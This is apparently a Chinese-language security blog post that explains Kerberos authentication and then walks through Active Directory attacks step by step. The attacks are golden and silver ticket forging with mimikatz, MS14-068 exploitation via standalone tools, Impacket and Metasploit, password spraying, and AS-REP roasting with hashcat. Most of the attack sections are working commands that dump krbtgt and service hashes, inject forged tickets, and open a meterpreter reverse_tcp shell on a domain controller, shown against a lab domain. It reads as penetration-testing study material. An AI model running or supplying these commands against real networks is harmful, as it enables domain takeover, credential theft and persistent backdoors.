HacKerQWQ的博客空间

内网渗透之kerberos协议学习及攻击方法总结

Word count: 5kReading time: 20 min
2021/06/28 Share

kerberos协议简介

kerberos是通过密钥加密技术为客户端/服务器(C/S)应用程序提供强身份验证网络身份验证协议

存在三个角色

  • Client,请求服务
  • Server,提供服务
  • KDC(Key Distribution Center)密钥分发中心

其中KDC安装在域控中,Client是否有权限访问服务由KDC发放的票据来决定

名词解释

  • Authentication Service,身份验证服务,简称AS,用于KDC对Client认证。
  • Ticket Grantng Service,票据授予服务,简称TGS,用于KDC向Client和Server分发Session Key(临时秘钥)。
  • TGT,Ticket Grant Ticket

kerberos认证过程

kerberos

分为三个阶段:

  1. AS_REQ&AS_REP
  2. TGS_REQ&TGS_REP
  3. AP_REQ&AP_REP

过程解释:

  1. AS_REQ: Client向KDC发起AS_REQ,请求凭据是Client hash加密的时间戳
  2. AS_REP: KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的
  3. TGS_REQ: Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
  4. TGS_REP: KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)
  5. AP_REQ: Client拿着TGS票据去请求服务
  6. AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确,就拿着PACKDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。

AS_REQ&AS_REP

AS_REQ&AS_REP
当域内某个客户端用户 Client 试图访问域内的某个服务,于是输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个 AS_REQ 认证请求。请求的凭据是 Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、Server-info 等数据,以及一些其他信息。

当 Client 发送身份信息给 AS 后,AS 会先向活动目录 AD 请求,询问是否有此 Client 用户,如果有的话,就会取出它的 NTLM-Hash,并对 AS_REQ 请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密码正确,如果时间戳在五分钟之内,则预认证成功。然后 AS 会生成一个临时秘钥 Session-Key AS,并使用客户端 Client 的 NTLM-Hash 加密 Session-key AS 作为响应包的一部分内容。此 Session-key AS 用于确保客户端和 KGS 之间的通信安全

还有一部分内容就是 TGT:使用 KDC 一个特定账户krbtgt的 NTLM-Hash 对 Session-key AS时间戳Client-info 进行的加密。这个特定账户就是创建域控时自动生成的 Krbtgt 用户,然后将这两部分以及 PAC 等信息回复给 Client,即 AS_REP 。PAC 中包含的是用户的 SID用户所在的组等一些信息。
AS过程
第一部分认证结束

AS-REP 中最核心的东西就是 Session-key 和 TGT。我们平时用 Mimikatz、kekeo、rubeus 等工具生成的凭据是 .kirbi 后缀,Impacket 生成的凭据的后缀是 .ccache。这两种票据主要包含的都是 Session-key 和 TGT,因此可以相互转化。

TGS_REQ&TGS_REP

TGS_REQ&TGS_REP
Client接收到AS_REP之后,用自己的NTLM Hash对加密后的Session Key AS进行解密之后得到Session Key AS,并且缓存到本地,此时需要发起服务请求的话,进行下一步,Client使用Session Key ASClient infoServer info时间戳进行加密,连同TGT票据构成TGS_REQ一起发给KDC的TGS

TGS得到TGS_REQ之后,用krbtgt的hash值对TGT凭据进行解密,得到Seesion Key AS时间戳Client info,之后对TGS_REQ用Session Key AS加密的部分进行解密,得到时间戳,如果两部分时间戳相差不多的话(时效一般是20分钟),进行TGS_REP的构造,用Session Key ASSession Key TGS进行加密作为第一部分,用ServerhashClient info时间戳Session Key TGS进行加密作为第二部分,两部分构成了TGS票据发给Client
TGS票据生成
Client与TGS通信结束

AP_REQ&AP_REP

AP_REQ&AP_REP
跟TGS_REQ&TGS_REP流程类似,Client拿到TGS_REP,用Session Key AS解密TGS_REP第一部分,得到Session Key TGS缓存本地,然后用Session Key TGS加密时间戳Client info,连同ST(被Server hash加密的部分)构成AP_REQ一起发送给Server

Server拿到AP_REP之后用Server Hash对ST进行解密,得到Client info时间戳Serssion Key TGS,然后用Session Key TGS对第一部分进行解密,得到时间戳,两部分时间戳进行比对,相差不大的话进行下一步。时间戳有效时间一般时间为8小时。

服务器拿着PAC向服务器发起请求,服务器拿到PAC进行解密,得到sid用户权限等发回给Server,Server将Client的权限与ACL进行比对,如果Client有访问权限,则返回AP_REP并与Client建立通信
Client与Server交互过程

Kerberos认证过程结束

PAC

PAC(Privilege Attribute Certificate),这是微软为了访问控制而引进的一个扩展,即特权访问证书。

在上面的认证流程中,如果没有 PAC 的访问控制作用的话,只要用户的身份验证正确,那么就可以拿到 TGT,有了 TGT,就可以拿到 ST,有了 ST ,就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 "Who am i?" 的问题,而没有解决"What can I do?"的问题。

为了解决上面的这个问题,微软引进了PAC。即 KDC 向客户端 Client 返回 AS_REP 时插入了 PAC,PAC 中包含的是用户的 SID、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的 AP_REQ 请求后,首先会对客户端身份验证。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限,DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此域用户请求的服务资源的 ACL 进行对比,最后决定是否给用户提供相关的服务。

但是在有些服务中并没有验证 PAC 这一步,这也是白银票据能成功的前提,因为就算拥有用户的 Hash,可以伪造 TGS,但是也不能制作 PAC,PAC 当然也验证不成功,但是有些服务不去验证 PAC,这是白银票据成功的前提。

黄金票据(Golden Ticket)

利用原理及作用

在我们得到了域控的控制权之后,可以得到krbtgt用户的Hash值,因此可以构造任意的TGT,而TGT包含域控PAC、时间戳等信息,无需在AS认证处认证且在TGS处(发票处)就会一路畅通,即使显示的是用Session Key TGS加密的Client info里面的信息显示的不是域控,这种方式生成的TGT票据叫黄金票据

有了TGT之后就意味着拿到了域控的权限,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务,

既然已经有了域控的权限,那么这种方式就只适合作为后门使用,只要krbtgt的Hash值没有变,就可以生成黄金票据。

利用条件

  • 需要伪造的域管理员用户名
  • 完整的域名
  • SID
  • krbtgtNTLM 哈希值

拓扑图

20210629203835

利用过程

1
2
kerberos::purge //清除票据缓存
kerberos::list //查看票据列表
  1. 使用mimikatz抓取krbtgt用户的Hash
    将mimikatz传到域控Win Server2008上,运行以下命令
    1
    2
    3
    4
    5
    privilege::debug
    lsadump::lsa /patch // 专用于在域控制器上导出用户密码或 hash
    whoami /user//查看sid,不需要后四位

    lsadump::dcsync /domain:test.com /user:krbtgt exit//导出指定与用户的hash值
    得到如下信息
    20210629194250
  • 域SID:S-1-5-21-1790422151-2440830281-1210646243
  • krgtbt的Hash值:27f9378a9cd3619ec45c3ac66752a1f1
  1. 查看域名

    1
    net config workstation

    20210629194525
    这里域名是pentest.com

  2. 生成黄金票据
    将mimikatz传到Win7上准备生成黄金票据,命令如下

    1
    2
    kerberos::golden /user:administrator /domain:pentest.com /sid:S-1-5-21-1790422151-2440830281-1210646243 /krbtgt:27f9378a9cd3619ec45c3ac66752a1f1 /ticket:/golden.kirbi
    # kerberos::golden /user:需要伪造的域管理员用户名 /domain:域名 /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:golden.kirbi

    20210629195057
    在mimikatz运行目录生成票据

  3. 注入黄金票据

    1
    2
    3
    4
    kerberos::ptt golden.kirbi
    #kerberos::ptt <票据文件>
    kerberos::tgt
    #tgt命令用于查看注入情况

    20210629195447
    注入成功,输入“exit”退出mimikatz,此时,攻击者就可以利用 Windows 7 任意访问域控了

  4. 利用黄金票据执行域控指令
    验证是否成功

    1
    2
    dir \\JC-DC\c$
    #访问域控上的共享盘C盘

    20210629195726
    使用 psexec,wmi 等方法对域控进行远程执行命令,这里使用psexec执行命令,将psexec.exe传到Win7上,运行:

    1
    psexec.exe \\JC-DC cmd

    20210629200225
    注意:

  • 如果失败了检查黄金票据的生成条件是否填写错误,以及黄金票据是否过了时效
  • 用psexec运行命令需要一点时间

命令总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
klist purge//cmd中清除票据
mimikatz # privilege::debug //开启debug模式

mimikatz # lsadump::dcsync /domain:test.com /user:krbtgt exit //导出krbtgt用户Hash值和SID
whoami /user //查看sid

lsadump::lsa /patch //导出krbtgt用户Hash值和SID

net config workstation //查看域名
mimikatz # kerberos::golden /user:administrator /domain:pentest.com /sid:S-1-5-21-1790422151-2440830281-1210646243 /krbtgt:27f9378a9cd3619ec45c3ac66752a1f1 /ticket:/golden.kirbi
# kerberos::golden /user:需要伪造的域管理员用户名 /domain:域名 /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:golden.kirbi
mimikatz # kerberos::purge //清除票据缓存
mimikatz # kerberos::list //查看票据列表
mimikatz # kerberos::ptt <票据文件> //导入黄金票据
mimikatz # kerberos::tgt //查看票据
exit
dir \\dc\c$

Metasploit伪造黄金票据

msf会话建立之后

1
2
3
4
5
load kiwi //加载kiwi模块
golden_ticket_create -d whoamianony.org -k 6be58bfcc0a164af2408d1d3bd313c2a -s S-1-5-21-1315137663-3706837544-1429009142 -u administrator -t /root/krbtgt.ticket
# golden_ticket_create -d 域名 -k krbtgt用户的Hash -s 域sid -u 需要伪造的域管理员用户名 -t /root/krbtgt.ticket
kerberos_ticket_list # 查看本地储存的票据
kerberos_ticket_use /root/krbtgt.ticket # 将票据注入内存

白银票据(Silver Ticket)

利用原理及作用

白银票据的利用过程是伪造 ST,通过已知的服务器的服务账号的密码生成一张,可以访问该服务器的特定服务的ST(可生成该服务器的任意服务ST)。由于在伪造票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由 KDC 颁发 TGT,并且在生成伪造的 TGT 得 20 分钟内,TGS不会对该 TGT 的真伪进行效验。

白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用 Krbtgt 账号的密码哈希值,因此更加隐蔽

  • 导入白银票据不需要管理员权限

利用条件

  • 域名
  • SID
  • 目标服务器的 FQDN
  • 可利用的服务
  • 服务账号的 NTLM 哈希值
  • 要伪造的用户名(用于构造PAC,任意用户名应该都可以,检查PAC的服务不多)

拓扑图

20210629203835

利用过程

可以伪造任意有服务账号Hash值的服务,这里伪造CIFS服务权限,CIFS 服务通常用于Windows 主机之间的文件共享。

Win Server2008开启的共享:
20210629201647

  1. 抓取服务账号的Hash值

    1
    2
    privilege::debug
    sekurlsa::logonpasswords //获取service账号的hash值

    20210629202103
    记录下JC-DC(服务账号)的NTLM Hash9cf876262a1362df5a573ab77b5338d3

  2. 获取域名、域SID、FQDN

    1
    2
    3
    net config workstation //域名
    lsadump::lsa /patch //域SID
    hostname //获取用户名,加上域名就是了
  3. 伪造白银票据

    1
    kerberos::golden /domain:pentest.com /sid:S-l-5-21-1790422151-2440830281-1210646243 /target:JC-DC.pentest.com /rc4:9cf876262al362df5a573ab77b5338d3 /service:cifs /user:administrator /ptt

    20210629203137
    注入成功,尝试访问共享服务器的共享目录

    1
    dir \\JC-DC.pentest.com\c$ //注意要用JQDN访问

    20210629203353

命令总结

1
2
3
4
5
6
7
8
9
kerberos::purge #清除票据缓存
kerberos::list #查看票据列表
privilege::debug #提高mimikatz权限
sakurlsa::logonpasswords //获取服务账号Hash值
net config workstation //域名
lsadump::lsa /patch //域SID
hostname //获取用户名,加上域名就是FQDN了
kerberos::golden /domain:pentest.com /sid:S-l-5-21-1790422151-2440830281-1210646243 /target:JC-DC.pentest.com /rc4:9cf876262al362df5a573ab77b5338d3 /service:cifs /user:administrator /ptt
# kerberos::golden /domain:域名 /sid:域 SID /target:FQDN /rc4:server 机器的哈希 /service:可利用的服务 /user:要伪造的用户名 /ptt

白银票据与黄金票据作用

通常情况下,黄金票据和白银票据更适合做为一个安装在普通域成员主机上的连接到域控的后门。但在内网横向移动中也经常遇到他的身影,通过黄金票据和白银票据,我们可以通过当前那下的机器作为跳板使用 psexecwmi 等方式对目标机执行命令,也可以将生成的木马复制到目标机器上,然后通过计划任务或服务等方式执行,最终是目标机上线。

MS14-068

利用原理

这里便用到了我们之前所讲到的 PAC 这个东西,PAC 是用来验证 Client 的访问权限的,它会被放在 TGT 里发送给 Client,然后由 Client 发送给 TGS。但也恰恰是这个 PAC 造成了MS14-068这个漏洞。

该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。普通用户可以通过呈现具有改变了 PAC 的 TGT 来伪造票据获得管理员权限。

利用范围

未打3011780补丁的机子都能利用

拓扑图

20210629203835

利用过程

工具:MS14-068

Ms14-068.exe

1
2
3
4
5
whoami /all //获取当前域用户的SID
MS14-068.exe -u hhh@pentest.com -s S-1-5-21-1790422151-2440830281-1210646243-1109 -d 192.168.2.2 -p 123456 # ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器ip地址 -p 域成员密码
kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list //查看当前机器凭证
kerberos::ptc <票据文件> //将票据注入到内存中

20210629214424
klist查看票据注入情况
20210629214502
如上图,票据注入成功,此时,攻击者就可以利用 Windows 7 这个跳板机任意访问域中所有机器了,可以使用 net use 进行登录或者使用 psexecwmi 等方法进行远程执行命令,后续的操作就和黄金票据一样了。

Ms14-068.py

Linux下可用python脚本,用法一致

1
python mS14-068.py -u hhh@pentest.com -s S-1-5-21-1790422151-2440830281-1210646243-1109 -d 192.168.2.2 -p 123456

Impacket的goldenPAC工具

这个是 Impacket 工具包里面的一个工具,是 ms14-068 与 psexec 结合的一个产物,利用起来十分顺手,并且该工具可以走代理进入内网,十分强大。地址:https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_23

1
2
python3 goldenPac.py -dc-ip 192.168.93.30 -target-ip 192.168.93.20 whoamianony.org/bunny:Bunny2021@dc.whoamianony.org
# goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控

执行成功后即可获得目标主机的一个 Shell。当然此工具不止是得到一个 Shell,我们甚至可以直接让该域控运行我们上传的程序,执行一个 Payload 啥的都不在话下。

metasploit利用

1
2
3
4
5
6
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
set domain whoamianony.org
set user bunny
set password Bunny2021
set rhosts 192.168.93.30 # 域控制器地址
set user_sid S-1-5-21-1315137663-3706837544-1429009142-1112 # 域 SID

/root/.msf4/loot 目录下生成票据文件 20210521104912_default_192.168.93.30_windows.kerberos_218042.bin,但是我们还要进行对其格式转换,在 mimikatz 中输入命令,导出 kirbi 格式的文件:

1
kerberos::clist "20210521104912_default_192.168.93.30_windows.kerberos_218042.bin" /export

转换成了一个 0-00000000-bunny@krbtgt-WHOAMIANONY.ORG.kirbi,我们将其移动到了 Kali 的 /root 目录下,一会好操作!

  1. 首先需要让 Windows 7 上线 MSF
  2. 然后再这个 meterpreter 中加载 kiwi 模块:
    1
    load kiwi
  3. 然后输入命令导入刚才转换生成的票据:
    1
    kerberos_ticket_use /root/0-00000000-bunny@krbtgt-WHOAMIANONY.ORG.kirbi
    如果成功的话就可以切换后台,使用模块进行高权限票据提权就行了:
    1
    2
    3
    4
    5
    6
    use exploit/windows/local/current_user_psexec
    set technique PSH
    set rhosts 192.168.93.30 # 域控制器地址
    set payload windows/meterpreter/reverse_tcp
    set session 1
    exploit

密码喷洒攻击(Password Spraying)

在实际渗透中,许多渗透测试人员和攻击者通常都会使用一种被称为 “密码喷洒”(Password Spraying)的技术来进行测试和攻击。对密码进行喷洒式的攻击,这个叫法很形象,因为它属于自动化密码猜测的一种。这种针对所有用户的自动密码猜测通常是为了避免帐户被锁定,因为针对同一个用户的连续密码猜测会导致帐户被锁定。所以只有对所有用户同时执行特定的密码登录尝试,才能增加破解的概率,消除帐户被锁定的概率。普通的爆破就是用户名固定,爆破密码,但是密码喷洒,是用固定的密码去跑用户名。主要用于横向移动

利用方法

工具:DoaminPasswordSpray

导入ps文件

1
Import-Module DomainPasswordSpray.ps1

获取UserList并写入userlist.txt文件(这一步主要是用于方便攻击者查看域用户,会在下一步自动进行)

1
Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt

执行DomianPasswordSpray攻击

1
Invoke-DomainPasswordSpray -Password Spring2017

20210630151333
可用选项

1
2
3
4
5
6
UserList          - Optional UserList parameter. This will be generated automatically if not specified.
Password - A single password that will be used to perform the password spray.
PasswordList - A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts).
OutFile - A file to output the results to.
Domain - A domain to spray against.
Force - Forces the spray to continue without prompting for confirmation.

AS-REP Roasting

AS_REQ & AS_REP 认证的过程是 Kerberos 身份认证的第一步,该过程又被称为预身份验证。预身份验证主要是为了防止密码脱机爆破

而如果域用户设置了选项 “Do not require Kerberos preauthentication“(该选项默认没有开启)关闭了预身份验证的话,攻击者可以使用指定的用户去请求票据,向域控制器发送 AS_REQ 请求,此时域控会不作任何验证便将 TGT 票据和加密的 Session-key 等信息返回。因此攻击者就可以对获取到的加密 Session-key AS 进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。

这种攻击方式被称作 AS-REP Roasting 攻击。

利用方法

前提:域用户设置了选项 “Do not require Kerberos preauthentication“(该选项默认没有开启
20210630152318

Rubeus.exe

利用Rubeus.exe将开启了无需预认证的用户的Hash值导出

1
Rubeus.exe asreproast

20210630162610

Empire下的Powerview.ps1以及ASREPRoast.ps1

1
2
3
4
5
powershell -exec bypass
Import-Module .\powerview.ps1
Get-DomainUser -PreauthNotRequired #得到用户名
Import-Module .\ASREPRoast.ps1
Get-ASREPHash -UserName hhh -Domain pentest.com

20210630163303

本地破解Hash

$krb5asprep后面添加$23变为hashcat能识别的格式,用如下命令破解就好

1
hashcat.exe -m 18200 hash.txt wordlists.txt --force

拿到密码之后,如果此用户是Server,就可以构造白银票据。

参考链接

CATALOG
  1. 1. kerberos协议简介
    1. 1.1. kerberos认证过程
    2. 1.2. AS_REQ&AS_REP
    3. 1.3. TGS_REQ&TGS_REP
    4. 1.4. AP_REQ&AP_REP
  2. 2. PAC
  3. 3. 黄金票据(Golden Ticket)
    1. 3.1. 利用原理及作用
    2. 3.2. 利用条件
    3. 3.3. 拓扑图
    4. 3.4. 利用过程
    5. 3.5. 命令总结
    6. 3.6. Metasploit伪造黄金票据
  4. 4. 白银票据(Silver Ticket)
    1. 4.1. 利用原理及作用
    2. 4.2. 利用条件
    3. 4.3. 拓扑图
    4. 4.4. 利用过程
    5. 4.5. 命令总结
    6. 4.6. 白银票据与黄金票据作用
  5. 5. MS14-068
    1. 5.1. 利用原理
    2. 5.2. 利用范围
    3. 5.3. 拓扑图
    4. 5.4. 利用过程
      1. 5.4.1. Ms14-068.exe
      2. 5.4.2. Ms14-068.py
      3. 5.4.3. Impacket的goldenPAC工具
    5. 5.5. metasploit利用
  6. 6. 密码喷洒攻击(Password Spraying)
    1. 6.1. 利用方法
  7. 7. AS-REP Roasting
    1. 7.1. 利用方法
      1. 7.1.1. Rubeus.exe
      2. 7.1.2. Empire下的Powerview.ps1以及ASREPRoast.ps1
      3. 7.1.3. 本地破解Hash
  8. 8. 参考链接